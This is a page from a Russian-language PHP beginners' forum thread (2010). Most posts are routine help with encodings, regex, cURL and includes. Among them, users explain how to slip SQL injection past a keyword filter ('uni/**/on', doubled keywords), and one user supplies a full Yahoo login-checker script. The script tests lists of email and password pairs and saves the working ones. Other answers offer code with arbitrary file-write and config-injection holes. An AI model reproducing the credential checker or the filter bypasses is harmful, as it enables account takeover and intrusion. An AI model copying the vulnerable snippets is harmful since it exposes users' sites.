PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 [64] 65 66

pento
24.04.2010, 12:57
собственно возможно ли объеденить все функции в 1?
чтобы запросы были с проверкой на безопастность...
Да, не изобретать велосипел и использовать встроенные механизмы нормальной работы с БД. google://php pdo mysql
http://phpfaq.ru/slashes#prepared

j0ker13
24.04.2010, 12:59
function filtr($data)
{
$filter = array("select", "delete", "union", "update", "insert","\\", "'", ",", ";", "--", "-", "%20", "%27", " ", "`", "=", "%");
$filter_data = str_replace($filter, "", strtolower($data));
return $filter_data;
}

function sql($query = "", $param = array())
{
if (!is_array($param) || count($param) == 0)
{
return mysql_query(filtr($query));
}
else
{
foreach ($param as $key => $val)
{
$query = str_replace("{".$key."}", $val, $query);
}
return mysql_query(filtr($query));
}
}
tak?

wildshaman
24.04.2010, 13:19
Такое обходится элементарно
selselectect
/*
()

phpdreamer
24.04.2010, 14:53
ну а также UnIoN , upDate и т.п.
нольбайт тож пройдет...

короче, mysql_real_escape_string() (http://yes.iblogger.org/39) в помощь...
только логику скрипта придется переделывать

Redwood
24.04.2010, 14:58
AtomoS, защита от sql inj легко обходиться в твоем случае, зачем изобретать велосипед, для этого есть соотвествующие функции.
Числовые поля int или intval, текстовые mysql_real_escape_string(), при выводе всех значений на экран обрамлять в htmlspecialchars, вот и все и ненужно, никаких str_replace

Gin
24.04.2010, 15:01
2Deathdreams and 2All
Объявил как global так и не решило задачу. Проглядел все твои месаги так и не нашел класса для верификации мыл. Код я набросал за 15 мин, мог бы сделать и ООП, но для тмоей задачи это из пушки по воробъям, если криво-та еще где-то укажи, сам не люблю гавно код. Проблема все таже не отправляеться пост запрос, не получаю куки.

wildshaman
24.04.2010, 15:04
ну а также UnIoN , upDate и т.п.
нольбайт тож пройдет...

Смена регистра не пройдет, в коде strtolower

phpdreamer
24.04.2010, 15:13
Смена регистра не пройдет, в коде strtolower
упс, не заметил

тогда пройдет uni/**/on

Radical Edward
24.04.2010, 16:28
Здравствуйте, наверняка этот вопрос уже задавался, однако, после двух часов поиска, мои успехи ни чуть не изменились.
Заранее скажу, что есть два скрипта : "ВВод" и "Вывод"

Проблемма стара как мир : вставить в MySQL базу кириллические символы.
Суть в том, что я хочу вставить непосредственно со скрипта ВВОДА( написанном на php).

Например, у меня есть "<input type='text'...>", откуда я хочу вытянуть строку и закинуть ее в таблицу.

Кодировка таблицы : utf8_general_ci (пробовал и cp1251)
Кодировка поля в таблице - такая же (Пробовал и cp1251)
mysql_query('SET NAMES cp1251');(или utf8) - поставил сразу после подключения.

если вставлять через PHPMyAdmin - все чудесно вставляется и отображается(как в самом админе, так и в скрипте вывода).

Если вставлять через скрипт ввода, вытягивая строку из текстбокса, то админ отображает нечто такое : "&sup3;&sup3;&sup3;&sup3;", а скрипт вывода : "ûâàûâàûâ".


ЧТО Я ДЕЛАЮ НЕ ТАК, на что обратить внимание и вообще...как справиться с проблеммой.

___
version mysql 5,php 5
__
в му.ini везде кодировка стоит cp1251

Failure
24.04.2010, 16:38
<?php
header("Content-Type: text/html; charset=utf8");
//....коннект к бд
mysql_query("SET NAMES utf8");
?>
<form action="<?=$_SERVER['PHP_SELF'];?>" method="POST">
<input type=text name="str" value="" ><input type=submit value="В бд">
</form>
<?php
if(!empty($_POST['str']) && !is_array($_POST['str'])) {
$result = mysql_query("INSERT INTO `table`(str) VALUES('".mysql_real_escape_string($_POST['str'])."')");
if($result == 1) echo "Успешно запостилось";
}
?>

не?

phpdreamer
24.04.2010, 16:40
снестите таблицу, создайте ее заново из бэкапа (пустую, с указаной кодировкой utf-8_general_ci).
а дальше следуйте инструкциям:
1)В файле .htaccess должна быть строка
AddDefaultCharset UTF-8
2)В верху php скрипта
header('Content-Type: text/html; charset=utf-8');
3)В редакторе (среде разработки) не забудьте переключить на UTF-8
4)Сразу после подключения к mysql выполняйте запрос
SET NAMES 'utf8'
источник (http://yes.iblogger.org/9)

Failure
24.04.2010, 16:52
1)В файле .htaccess должна быть строка
AddDefaultCharset UTF-8
2)В верху php скрипта
header('Content-Type: text/html; charset=utf-8');
не находишь бредом указывать кодировку 2 раза? =\
это всеравно что

<?php
header("Content-Type: text/html; charset=utf8");
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
...

Radical Edward
24.04.2010, 17:09
Ваш пример работает. Вроде. Но на моем примере чего - то не получается. Скажите, что я сделал не так


CREATE TABLE `Nokia` (
`ID` int(16) NOT NULL auto_increment,
`Mark` varchar(16) default NULL,
`Description` varchar(512) default NULL,
`Photo` blob,
`Price` double NOT NULL,
`Incoming` date default NULL,
`IsEnabled` smallint(1) NOT NULL,
PRIMARY KEY (`ID`),
KEY `ID` (`ID`)
) ENGINE=MyISAM AUTO_INCREMENT=215 DEFAULT CHARSET=cp1251 AUTO_INCREMENT=215 ;
Кста, почему автоинкремент дважды повторяется?


.
.
.
header("Content-Type: text/html; charset=cp1251");
.
.
.
mysql_query("SET NAMES cp1251");
.
.
$Description = htmlentities($_POST['Description_Inp']);
.
.
$QUERY = "Insert into ".$TABLENAME." values
(NULL".",
'".$Mark."',
'".$Description."',
'".$Photo_Data."',
'".$Price."',
'".$Incoming."',
'".$IsEnabled."'
)";
//echo $QUERY;

$result = mysql_query($QUERY, $link);



Как вы уже догадались, вся проблемма в поле Description

$now
24.04.2010, 17:22
Radical Edward
Смотрели какой запрос уходит в базу?

Кстати, description можно сделать TEXT

PS Почему никто патологически не юзает PDO? Это же удобно и о фильтрации ввода позаботились до нас.

Failure
24.04.2010, 17:24
бикоз оф писать надо $Description = htmlentities($_POST['Description_Inp'], ENT_QUOTES, "cp1251" );
$query у тебя какой то такой =\
лучше явно указывай, что бы потом не было проблем

INSERT INTO `table`(`Mark`,`Description`,`Photo`,`Price`,`Inco ming`,`IsEnabled`) VALUES(....);

id писать не надо, на то и auto_increment

Radical Edward
24.04.2010, 17:26
$now
Вот то , что идет в базу. То есть, не правильная сама кодировка на странице...

Insert into Nokia values (NULL, 'Ìàðêà', 'Îïèñàíè¸', '', '222.222', '2009-01-22', '1' )


Failure
Исправил, запрос изменился к "лучшему"

Insert into Nokia values (NULL, 'надпись', 'ііі', '', '', '', '0' )

&-#1053;о&-# &-#1091;р&-#1103;м&-#1089;

(без минусов)

$now
24.04.2010, 17:29
У формы добавьте атрибут accept-charset="cp1251" может поможет

Radical Edward
24.04.2010, 17:33
НУ все. После высокого прыжка с бубном, нечто похожее получилось. Скрипт вывода нормально выводит данные после скрипта ввода, однако теперь сам АДМИН не хочет интерпретировать введенные мною символы.
Есть идеи?

Спасибо за предоставленную помощь

$now
24.04.2010, 18:04
Ну так у вас в админе поди utf-8 стоит. А данные то вы вставляете в 1251

Gin
25.04.2010, 01:32
апаю пост т.к. ответа не получил, готов даже вознаградить материально того кто поможет

Тема такая нужно написать чекер емалов для yahoo собстно написал, код но проблема в том что пост запрос не отправляеться. Я не давно только начал работать с курл. Есть две функции как видно из листинга первая получает значения вторая отправляет, но вот если первая работает нормально, то вторая отказываеться вообще. Да и в куки помоему вообще ничего не попадает. Вторая функция не отправляет POST запрос вообще.
Собственно код не пинайте сильно

<?php
$cookiefile = tempnam("/tmp", "cookies");
$refer="https://login.yahoo.com/config/login_verify2?&.src=ym";
$username="login";
$password="pass;
$url="https://login.yahoo.com/config/login?";
$agent="Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";

function GetData($url){
global $cookiefile,$refer,$url,$agent;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiefile);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiefile);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec ($ch);
$answer=preg_match("#hash2(.*?)\<table#is",$result,$match);
preg_match_all('#name="(.*?)"#is',$match[0],$key_match);
preg_match_all("#value=\"(.*?)\"#is",$match[0],$value_match);
foreach($key_match[1] as $key)
foreach($value_match[1] as $value)
$post_array[$key]=$value;
$post_array['login']=$username;
$post_array['passwd']=$password;
$post_array['.Save']="Sign+In";
$post=http_build_query($post_array);
curl_close ($ch);
return $post;
}
function SendData($url,$post,$refer){
global $cookiefile,$refer,$url,$agent,$username,$password ;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiefile);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiefile);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec ($ch);
curl_close ($ch);

return $result;
}
$post=GetData(url);
$data=SendData($refer,$post,$refer);
echo $data;
?>

phpdreamer
25.04.2010, 11:20
Gin, этот код нужно переписывать с нуля.
алгоритм такой (без всяких ф-й):
1)отправляем пост запрос с логином и паролем
2)ищем в ответе фразу о неправильном пароле, если ее нет, то все ок
никаких кукисов и юзерагентов там не нужно.

мб. я ошибаюсь, но скорей всего все делается одним запросом.

Gin
25.04.2010, 13:49
2phpdreamer 2All
Да так и есть, можно и одним пост запросом, но данные которые грабяться тоже важны. Дело уже даже не в том чтобы написать чекер,а втом чтобы разобраться почему не работает. Если поможешь, то в долгу не останусь, просто я уже много способов перебпробовал.

phpdreamer
25.04.2010, 15:04
не работает потому что https://

restart_05
25.04.2010, 15:19
Имеется слово v267g92hg276ghg_engine. То что выделено красным постоянно меняется. Как можно вырезать из этого слова _engine ?

Gin
25.04.2010, 15:20
2phpdreamer
ну так я ставлю эти опции

curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

d_x
25.04.2010, 15:21
restart_05,
<?php
$word='v267g92hg276ghg_engine';
preg_match('/^(\S+)_engine$/',$word,$m);
print $m[1];
?>

Deathdreams
25.04.2010, 15:23
Имеется слово v267g92hg276ghg_engine. То что выделено красным постоянно меняется. Как можно вырезать из этого слова _engine ?

$string = "v267g92hg276ghg_engine";
$string = preg_replace( "#(.+)_engine#", "\\1", $string );

Или регуляркой:

$string = "v267g92hg276ghg_engine";
preg_match( "#(.+)_engine#", $string, $array );
echo "Result: ".$array[1];
Или:

echo $string = str_replace( '_engine', '', 'v267g92hg276ghg_engine' );

Gin
25.04.2010, 15:23
2restart_05

$string="v267g92hg276ghg_engine";
$result=str_replace("_engine","",$string);

restart_05
25.04.2010, 15:26
Спс

phpdreamer
25.04.2010, 15:38
Gin, вот :
<?php
//*простой чекер мыл yahoo.com от phpdreamer (25.04.2010)

$mails = file('file.txt'); //файл с мылами yahoo.com для проверки на валидность ( формат "id;password")
foreach($mails as $str)
{
$mas = explode(';', trim($str));
$email = $mas['0'];
$passw = $mas['1'];
$ch = curl_init('https://login.yahoo.com/config/login?');
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS , '.tries=1&.src=my&.md5=&.hash=&.js=&.last=&promo=&.intl=us&.bypass=&.partner=&.u=fuc8gnp5t886p&.v=0&.challenge=PoeEPS58vFdvVdlcxeu6DrGU4XZe&.yplus=&.emailCode=&pkg=&stepid=&.ev=&hasMsgr=0&.chkP=Y&.done=http%3A%2F%2Fmy.yahoo.com&.pd=my_ver%3D0%26c%3DaMtFxUmp2e6zaBL942f2v6LoDw--%26ivt%3D%26sg%3D&login='.$email.'&passwd='.$passw.'&.persistent=y&.save=Sign+In');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION ,1);
curl_setopt($ch, CURLOPT_HEADER ,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER ,1);
curl_setopt ($ch, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
$RecData = curl_exec($ch);
curl_close($ch);

if(strpos($RecData, 'window.location.replace("http://my.yahoo.com");'))
{
$valid = $email .';' . $passw;
$h = fopen('good.txt', 'a+');
fwrite($h, $valid . "\n");
fclose($h);
}
}

general.fox
25.04.2010, 18:25
Может кто нибудь написать пример отправки и получения POST-запроса через сокет?

roxblnfk
25.04.2010, 20:16
general.fox
http://forum.antichat.ru/showpost.php?p=1903166&postcount=14688

InfectedM
26.04.2010, 01:48
Есть index.php с формой, в эту форму я вписываю числа и отправляю их на скррипт qwe.php , этот скрипт должен обрабатать информацию и отправить мне результат обратно на index.php
В голову приходит только мысль сделать переадресацию

$res=2+2;
echo('<script language="JavaScript">');
echo('window.location.href = "./index.php?res='.$res.'"');
echo('</script>');

Но можно как-нибудь сделать что бы эти значения не были видны?
PS нужно обязательно использовать 2 файла.
Там как-нибудь через POST .
только тут формы же нету ,по этому не знаюкак подскажите плзиз.

OnArs
26.04.2010, 07:57
Всем привет,

При попытке получить страницу (исходник страницы) через cUrl или file_get_contents() получаю в ответ 400 ошибку (Bad request).

Нужно получить исходник вот этой страницы:
http://fotki.yandex.ru/rss/images?skin=rss2&ed=1&stype=image&text=%E0%ED%F2%E8%F7%E0%F2

Теми же самыми средствами без проблем получаю исходники к примеру любого RSS Feed'a от Google Feedburner, а здесь никак :(


В чём может быть проблема?


Заранее благодарен!

phpdreamer
26.04.2010, 08:16
InfectedM,
переадресация header('Location: index.php');
для передачи инфы используй куки (инфу даже можно зашифровать)

-----------------------

OnArs, file_put_contents('tmp.txt', file_get_contents('http://fotki.yandex.ru/rss/images?skin=rss2&ed=1&stype=image&text=%E0%ED%F2%E8%F7%E0%F2'));

OnArs
26.04.2010, 09:55
OnArs, file_put_contents('tmp.txt', file_get_contents('http://fotki.yandex.ru/rss/images?skin=rss2&ed=1&stype=image&text=%E0%ED%F2%E8%F7%E0%F2'));

А что должно быть в файле tmp.txt?

$now
26.04.2010, 10:42
А что должно быть в файле tmp.txt?
Ничего.

OnArs
26.04.2010, 10:47
Дык, а толку то тогда? Не работает этот вариант. Я уже и через cURL пробовал, но видимо Яндекс какие то дополнительные заголовки ищет, а Я их не отправляю. Просто не знаю чего ему не хватает.

krypt3r
26.04.2010, 11:23
Не работает этот вариант
Работает

OnArs
26.04.2010, 11:45
Чорт, спасибо, понял в чём проблема!

Подскажите как перевести строку:
из ачат в %E0%ED%F2%E8%F7%E0%F2

Большое спасибо!

krypt3r
26.04.2010, 12:07
urlencode()
Для обратного преобразования urldecode()

SeNaP
26.04.2010, 15:47
Всем привет.
Пытаюсь сделать антинакрутку.
Но встал вопрос, когда пользователь сидит из под прокси, то прокси равен IP ?

$_SERVER['REMOTE_ADDR'] == $_SERVER['HTTP_X_FORWARDED_FOR'];

а если не из под прокси, то соответственно они не равны?

SHiNiGaMi
26.04.2010, 16:06
Всем привет.
Пытаюсь сделать антинакрутку.
Но встал вопрос, когда пользователь сидит из под прокси, то прокси равен IP ?

$_SERVER['REMOTE_ADDR'] == $_SERVER['HTTP_X_FORWARDED_FOR'];

а если не из под прокси, то соответственно они не равны?
Я думал наоборот 0.о

PenSpinner
26.04.2010, 20:00
такой вопрос: существует файл, в котором пару тысяч вопросов и ответов вида

10, 100, 90, 80, 70 "Серцева недостатність – це стан, при якому:
11, 100 "Серце не може ефективно забезпечити метаболічні потреби організму
12, 0 "Наявна невідповідність між потребою і доставкою кисню до міокарда
13, 0 "Погіршується насосна функція серця
14, 0 "Погіршується здатність до наповнення шлуночків серця
#

20, 100, 90, 80, 70 "Особливості епідеміології серцевої недостатності:
21, 25 "Поширеність у загальній популяції 0,5-4%
22, 25 "Захворюваність 0,15-0,5%
23, 25 "Смертність до 50 на рік
24, 25 "Зростання поширеності залежно від віку
25, 0 "Більшість економічних витрат пов’язані з амбулаторним лікуванням хворих
#

надо расположить их (абзацы, це строчки) в алфавитном порядке (без учёта цифр, ессно). Если первые буквы одинаковые, смотреть вторую, и т.д.

как реализовать?

phpdreamer
26.04.2010, 20:17
$file = file('имя_файла');

foreach($file as $string)
{
$t = explode('"', $string);
if(isset($t['1']))
$txt[] = $t['1'];
}
sort($txt , SORT_STRING);
foreach($txt as $str)
foreach($file as $exp)
{
$e = explode('"', $exp);
if(isset($e['1']))
if($e['1']==$str)
echo $exp.'<br>';
}

шось таке...

PenSpinner
26.04.2010, 20:27
а оно разве не строчки располагает в алф. порядке? мне нужно, чтобы абзацы

ps Warning: Invalid argument supplied for foreach()
ругается на 8ую строчку твоего скрипта

z-kzn-z
26.04.2010, 20:30
Всем привет. Попробую объяснить свою проблему... Представьте себе ваш любимый браузер, в котором открыта, скажем, пустая вкладка.
Допустим у меня есть скрипт, вполне себе ничем не специфический скрипт, который долго что-то делает (минуту, две). обратимся к нему из браузера. Все как обычно, скрипт выполняется (долго, как я уже сказал), браузер терпеливо ждет ответа.
А теперь если открыть еще одну вкладку, и зайти на этот же сайт (на любую страницу, главное что тот же сервер) - браузер страницу НЕ отдает, ждет, пока выполнится наш первый скрипт, и только после того как он выполнится, загрузится страница во второй вкладке. НО, если открыть сайт в другом браузере, все работает, не дожидаясь выполнения скрипта.
Почему так происходит и как от этого избавиться?

phpdreamer
26.04.2010, 20:52
вот под абзацы

$file = file_get_contents('имя_файла');
$abz = explode('#', $file);
foreach($abz as $a)
{
$exp = explode("\n", $a);
if(is_array($exp))
_sort($exp);
echo '<br><br><br>';
}
function _sort($file)
{
foreach($file as $string)
{
$t = explode('"', $string);
if(isset($t['1']))
$txt[] = $t['1'];
}
if(isset($txt) && is_array($txt))
{
sort($txt , SORT_STRING);
foreach($txt as $str)
foreach($file as $exp)
{
$e = explode('"', $exp);
if(isset($e['1']))
if($e['1']==$str)
echo $exp.'<br>';
}
}
}

PenSpinner
26.04.2010, 21:19
нужно сортировать по алфавиту не строчки в пределах абзаца. нужно сортировать сами абзацы по алфавиту. тоесть, если первый абзац
бббб
аааа
гггг

а второй
ааааа
ввввв
ббббб

то он должен вывести

ааааа
ввввв
ббббб

бббб
аааа
гггг, а не

аааа
бббб
гггг

ааааа
ббббб
ввввв

$now
26.04.2010, 22:55
PenSpinner
По первой букве чтоли? Или последовательно по всем буквам?

PenSpinner
26.04.2010, 23:22
последовательно по всем

$now
26.04.2010, 23:58
Опишите словами алгоритм сравнения абзацей. Я не понимаю.

siw
27.04.2010, 00:01
Всем привет. Попробую объяснить свою проблему... Представьте себе ваш любимый браузер, в котором открыта, скажем, пустая вкладка.
Допустим у меня есть скрипт, вполне себе ничем не специфический скрипт, который долго что-то делает (минуту, две). обратимся к нему из браузера. Все как обычно, скрипт выполняется (долго, как я уже сказал), браузер терпеливо ждет ответа.
А теперь если открыть еще одну вкладку, и зайти на этот же сайт (на любую страницу, главное что тот же сервер) - браузер страницу НЕ отдает, ждет, пока выполнится наш первый скрипт, и только после того как он выполнится, загрузится страница во второй вкладке. НО, если открыть сайт в другом браузере, все работает, не дожидаясь выполнения скрипта.
Почему так происходит и как от этого избавиться?

Ну добавь в урл какой нибудь параметр со случайным значением, с текущим временем к примеру(таймштампом), чтоб браузер вечно думал что это разные адреса

Fepsis
27.04.2010, 00:13
Опишите словами алгоритм сравнения абзацей. Я не понимаю.
Каждый абзац по сути яляется строкой. Заноси все абзацы в массив и сортируй массив как строки по алфавиту...

InfectedM
27.04.2010, 00:33
Тока начал учить пхп,хочу написать простенький сайтик с авторизации.
Нарыл в нете пример авторизации основанный на куках
http://habrahabr.ru/blogs/php/13726/

Допустим у меня есть сайт на нем 10 страниц.

если пользователь авторизован ,то слева (на всех страницах) должна быть статистика с его ником.
елси не авторизован должна быть панелька авторизации.



в голову приходит мысль сравнивать (авторизован или нет) и в левую область выводить соответствующее менюmenu1.html или menu2.html

в menu1.html будет форма авторизации
в menu2.html будет код вида Echo(привет %user%)

может есть другой выход?
как такое лучше реализовать?
ПОдскажите плз

$now
27.04.2010, 00:57
InfectedM
Содержимое chack.php поместить в функцию возвращающую true или false

Далее на каждой странице проверять


if (hasAuth()( {
// выводим приветствие
} else {
// выводим авторизацию
}

GrinGoO
27.04.2010, 10:04
Вот такой вопрос:

1. Все скрипты лежат в директории www/
2. Конфиг подключения к бд тут: www/config/db.php
3. Админка тут: www/admin/index.php

Внимание вопрос:

Как в admin/index.php загрузить конфиг бд? Ф-цией include(); но какой путь писать? нужно вернутся в каталог www , зайти в config и подгрузить фаил) как это сделать? ;)

$now
27.04.2010, 10:10
нужно вернутся в каталог www , зайти в config и подгрузить фаил) как это сделать? ;)

require_once "../config/db.php"

Или более продвинутым способом

require_once realpath(dirname(__FILE__) ."../config/db.php"

Alpha][
27.04.2010, 10:19
Народ , появилась такая проблема , необходима с помощью php загружать с удаленного сервера на мой сайт архив zip с информацией размером порядка 100-200мб и распаковывать его , подскажите пожалуйста какими средствами это можно сделать .

Konqi
27.04.2010, 10:32
[']Народ , появилась такая проблема , необходима с помощью php загружать с удаленного сервера на мой сайт архив zip с информацией размером порядка 100-200мб и распаковывать его , подскажите пожалуйста какими средствами это можно сделать .

http://www.nulled.ws/showthread.php?t=77786

$now
27.04.2010, 11:16
Konqi
Проблема тут скорее будет в том, что 200мб распаковать за один раз не всякий хостинг позволит, точнее виртуальный никакой не позволит.

Нужно как то хитро разбивать процесс на итерации.

GrinGoO
27.04.2010, 12:02
Можно еще вопросик?

Нужно через админку редактировать файлы.

Допустим есть файл с настройками типо:



$name = "Название сайта";
$adr = "Адрес сайта";



Теперь нужно через админку отредактировать значение переменных $name и $adr через веб-форму. Ну и что бы в форме заранее отображалось значение переменной.

Deathdreams
27.04.2010, 14:00
Можно еще вопросик?

Нужно через админку редактировать файлы.

Допустим есть файл с настройками типо:



$name = "Название сайта";
$adr = "Адрес сайта";



Теперь нужно через админку отредактировать значение переменных $name и $adr через веб-форму. Ну и что бы в форме заранее отображалось значение переменной.



$cfile = 'config.php'; //файл с настройками

if( isset($_POST['name']) && isset($_POST['addr']) )
{

$name = trim(stripslashes($_POST['name']), PHP_EOL);
$addr = trim(stripslashes($_POST['addr']), PHP_EOL);
$content = file_get_contents( $cfile );
$content = preg_replace( '#\$name\s*=\s*".*";#', '$name = "'.$name.'";', $content );
$content = preg_replace( '#\$adr\s*=\s*".*";#', '$adr = "'.$addr.'";', $content );
if( file_put_contents( $cfile, $content ) )
echo "<font color='red'>Настройки успешно сохранены</font><br><br>"; else
echo "<font color='red'>Настройки сохранить не удалось.</font><br><br>";


}
?>
<form method="post" act="">
$name = <input type="text" name="name">;<br /><br />
$adr = <input type="text" name="addr">;<br />
<input type="submit" value="Сохранить">




Работает, протестил.

PenSpinner
27.04.2010, 17:39
Каждый абзац по сути яляется строкой. Заноси все абзацы в массив и сортируй массив как строки по алфавиту...
да, только без учёта цифр. как реализовать?

ichechen
27.04.2010, 18:45
Почему не работает скрипт? *SCRATCH*
А точнее одна ветка свитча, при запросе:
?OP=UPD&pr1=file_name&pr2=" & "text_to_file"
<?php
$curFn=$_POST['OP'];
$arg_1=$_POST['pr1'];
$arg_2=$_POST['pr2'];

//DO COMPORATION
switch ($curFn)
{
case 'UPD':
$f=fopen("arg_1","w");
$success = fwrite($f, "$arg_2");
fclose($f);
break;
}
exit;
?>

Gifts
27.04.2010, 18:58
ichechen наверное, потому что вы передаете не ПОСТ запросом данные

m0Hze
27.04.2010, 18:59
Почему не работает скрипт? *SCRATCH*
А точнее одна ветка свитча, при запросе:
script_name.php?OP=UPD&pr1=file_name&pr2=" & "text_to_file"
<?php
$curFn=$_GET['OP'];
$arg_1=$_GET['pr1'];
$arg_2=$_GET['pr2'];

//DO COMPORATION
switch ($curFn)
{
case 'UPD':
$f=fopen("arg_1","w");
$success = fwrite($f, "$arg_2");
fclose($f);
break;
}
exit;
?>
o my god oO
?OP=UPD&pr1=file_name&pr2=text_to_file
<?php
$curFn=$_POST['OP'];
$arg_1=$_POST['pr1'];
$arg_2=$_POST['pr2'];

//DO COMPORATION
switch ($curFn)
{
case 'UPD':
$f=fopen($arg_1,"w");
$success = fwrite($f, $arg_2."\r\n");
fclose($f);
break;
}
exit;
?>

ichechen
27.04.2010, 19:23
ichechen наверное, потому что вы передаете не ПОСТ запросом данные
Да не, я передаю именно ПОСт заросы
request.Method = "POST"
Dim postData As String = "?OP=UPD&pr1=fileName&pr2=" & "text"
Dim byteArray As Byte() = Encoding.UTF8.GetBytes(postData)
request.ContentType = "application/x-www-form-urlencoded"
request.ContentLength = byteArray.Length
Dim dataStream As Stream = request.GetRequestStream()
dataStream.Write(byteArray, 0, byteArray.Length)
dataStream.Close()
Dim response As WebResponse = request.GetResponse()

dataStream = response.GetResponseStream()
Dim reader As New StreamReader(dataStream)
Dim responseFromServer As String = reader.ReadToEnd()

reader.Close()
dataStream.Close()
response.Close()


<?php
$curFn=$_POST['OP'];
$arg_1=$_POST['pr1'];
$arg_2=$_POST['pr2'];

//DO COMPORATION
switch ($curFn)
{
case 'UPD':
$f=fopen($arg_1,"w");
$success = fwrite($f, $arg_2."\r\n");
fclose($f);
break;
}
exit;
?>
Тоже не работает, права установленны правильно! папка 777 скрипт 644, еще варианты?))

.:[melkiy]:.
27.04.2010, 19:33
мб allow_url_fopen off в php.ini?

ichechen
27.04.2010, 19:35
:.']мб allow_url_fopen off в php.ini?
неа))

ichechen
27.04.2010, 19:42
Упс, разобрался
Ошибка не в скрипте оказывается, а тут
Dim postData As String = "?OP=UPD&pr1=fileName&pr2=" & "text"

Знак ? лишьний )

Всем спасибо за внимание ;)

StealthMaster
28.04.2010, 00:16
Всем доброго времени суток!

Ситуация следующая: имеется SQL-скрипт с запросами для создания основных таблиц и представлений базы данных. Возможно ли с помощью PHP целиком "скормить" этот скрипт мускулу или придется выполнять каждый запрос отдельно?

Strilo4ka
28.04.2010, 00:43
Всем доброго времени суток!

Ситуация следующая: имеется SQL-скрипт с запросами для создания основных таблиц и представлений базы данных. Возможно ли с помощью PHP целиком "скормить" этот скрипт мускулу или придется выполнять каждый запрос отдельно?http://www.php.net/manual/en/mysqli.multi-query.php
если я понял правильно задачу, тоесть одним запросом все выполняем...

Chaak
28.04.2010, 01:26
Всем доброго времени суток!

Ситуация следующая: имеется SQL-скрипт с запросами для создания основных таблиц и представлений базы данных. Возможно ли с помощью PHP целиком "скормить" этот скрипт мускулу или придется выполнять каждый запрос отдельно?
mysql_query(file_get_contents('dump.sql'))

ichechen
28.04.2010, 05:57
Кто нить знает почему не получается перезаписать текстовый файл созданный скриптом php на сервере, содержащий utf-8 текст и имеющий расширение .asd ))) (при работе через тотал коммандер) пишет что не может закачать и все ;)

PenSpinner
28.04.2010, 08:26
да, только без учёта цифр. как реализовать?
очень уж срочно надо. помогите!

z-kzn-z
28.04.2010, 09:27
Кто нить знает почему не получается перезаписать текстовый файл созданный скриптом php на сервере, содержащий utf-8 текст и имеющий расширение .asd ))) (при работе через тотал коммандер) пишет что не может закачать и все ;)
возможно, прав не хватает

StealthMaster
28.04.2010, 15:21
mysql_query(file_get_contents('dump.sql'))

Такой запрос не проходит...
Попробовал его на простейшем sql скрипте:

CREATE TABLE STUDENTS(
N_STUDENTSBOOK INT PRIMARY KEY,
LAST_NAME CHAR(15),
FIRST_NAME CHAR(10),
PATRONYMIC CHAR(15),
N_GROUP INT,
CELL CHAR(10),
CHECK (N_GROUP IN (41,42, 43, 44, 45)));


CREATE TABLE STUDIES(
N_STUDY INT PRIMARY KEY,
STUDY CHAR(20),
TEACHER_LASTNAME CHAR(15),
CHECK (N_STUDY > 0));


CREATE TABLE SESSION(
N_STUDENTSBOOK INT,
N_STUDY INT,
MARK INT,

PRIMARY KEY (N_STUDENTSBOOK, N_STUDY),
FOREIGN KEY (N_STUDENTSBOOK) REFERENCES STUDENTS(N_STUDENTSBOOK),
FOREIGN KEY (N_STUDY) REFERENCES STUDIES(N_STUDY),

CHECK (MARK IN (2, 3, 4 ,5)));


и на дампе базы данных полученной с помощью этого скрипта:

-- MySQL dump 10.11
--
-- Host: localhost Database: university
-- ------------------------------------------------------
-- Server version 5.0.67-community-nt

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `session`
--

DROP TABLE IF EXISTS `session`;
